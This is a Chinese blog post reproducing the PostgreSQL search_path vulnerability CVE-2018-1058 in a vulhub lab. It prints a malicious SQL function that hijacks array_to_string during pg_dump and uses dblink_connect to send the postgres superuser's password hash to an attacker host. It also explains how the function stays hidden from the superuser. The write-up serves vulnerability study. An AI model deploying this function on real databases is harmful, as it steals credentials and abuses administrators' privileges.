当前位置:网站首页>[vulhub]PostGresql远程代码执行漏洞复现(CVE-2018-1058)
[vulhub]PostGresql远程代码执行漏洞复现(CVE-2018-1058)
2022-08-05 13:08:00 【errorr0】
上一篇文章提到的知识就是为了此漏洞复现时对其攻击过程恶意构造有更好的理解。
该漏洞影响到的版本:PG < 10。
复现的大体流程是:以一个普通用户登录在public中写入一个恶意的函数,通过修改public与pg_catalog的先后调用顺序导致超级用户利用自己的高权限调用自以为是正常的恶意函数最后触发恶意内容。
漏洞复现
这里模拟出一个普通用户(账号:vulhub 密码:vulhub),登录进去。

然后创建一个恶意函数array_to_string()
CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=your_ip_address port=5432 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
这里解释一下上面的代码含义,第一行很简单,定义一个public模式下的函数,函数名与参数类型和个数都不能修改(保证与pg_catalog中的函数名相同),至于为什么要用这个函数,这里借用一个师傅文章的图片。

这个漏洞主要是pg_dump备份时会产生search_path的动态改变,这样则会导致一些本应该pg_catalog模式中的函数触发,一旦public中也存在就会触发public中的,上面这张图时pg_dump备份后bak文件中的数据,可以看到有个array_to_string()没有指定schema,至于他在相同模式中的定义为:

第二行用的dblink_connect()可以外带数据,类似于DNSLog注入时带出的数据(但原理不相同)。
第三行代码其实有和无没关系,主要是构造了一个恶意的函数,再在后面把正常的功能还原以便不影响到函数本身的功能而被超级用户发觉。
第四行结尾,固定格式。注意VOLATILE是一个状态,PG中有三个状态:IMMUTABLE、STABLE、VOLATILE(非常稳定、稳定、不稳定)。不稳定可以对数据库中的内容进行修改,其它的两个感兴趣的可以自己百度搜索了解。
最后我们测试一下:

设置完函数再对端口进行监听,最后进入docker环境模拟登录超级用户,对vulhub进行备份


最后监听到了一串MD5加密的密码 。
参考:PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】 - SecPulse.COM | 安全脉搏
边栏推荐
- 素士科技IPO被终止:年营收18.7亿 顺为小米景林昆仲是股东
- 吉时利静电计在高电阻率测量解决方案应用
- 163_技巧_Power BI 一键批量建立自定义字段参数
- 快可电子深交所上市:市值82亿 年营收7亿募资5.6亿
- 【时序数据库InfluxDB】Windows环境下配置InfluxDB+数据可视化,以及使用 C#进行简单操作的代码实例...
- ESP8266 做简单的仪器
- A brief explanation of permutation and combination
- DonkeyCar source code reading .4 (project file creation)
- 选择商城小程序源码的三个技巧!
- Sentinel introduction and use
猜你喜欢

选择商城小程序源码的三个技巧!

C进阶-动态内存管理

运力升级助力算力流转,中国数字经济的加速时刻

NFT卡牌游戏系统dapp开发NFT链游技术

可编程直流电源用途广泛可以满足各种直流电源的应用场景

RK3588+FPGA high-speed image processing communication processor solution

英创力电子IPO被终止:年营收10亿 深创投与红土是股东

配置了feign.hystrix.enabled:=true不生效的原因

A brief explanation of permutation and combination

【Sequel Pro】下载查询结果乱码问题处理方式
随机推荐
wallys/QCA9882/2×2 MIMO 802.11ac Mini PCIe Wi-Fi Module,
[转载]卡尔曼滤波(kalman filter)和均值滤波有什么关系?
Small HCIP - BGP comprehensive experiment
likeshop搭建商城系统,一步到位
通俗易懂玩QT:QT程序发布打包
Eolink使用教程
HCIP--BGP小综合实验
五、平衡二叉树——伸展树Splay
选择商城小程序源码的三个技巧!
模拟实现(strncpy)(strncat)(atoi)(C语言)(VS)
Flink调优
对比服务器,进行正确配置
ApiPost使用教程
EAI X2(非订制版)50一个激光雷达?
可编程直流电源用途广泛可以满足各种直流电源的应用场景
Oracle Database 19c 的10大新特性一览
英创力电子IPO被终止:年营收10亿 深创投与红土是股东
NFT卡牌游戏系统dapp开发NFT链游技术
WPF development essays - WriteableBitmap to draw high-performance graphs
自监督深度学习编码蛋白质亚细胞定位的高分辨率特征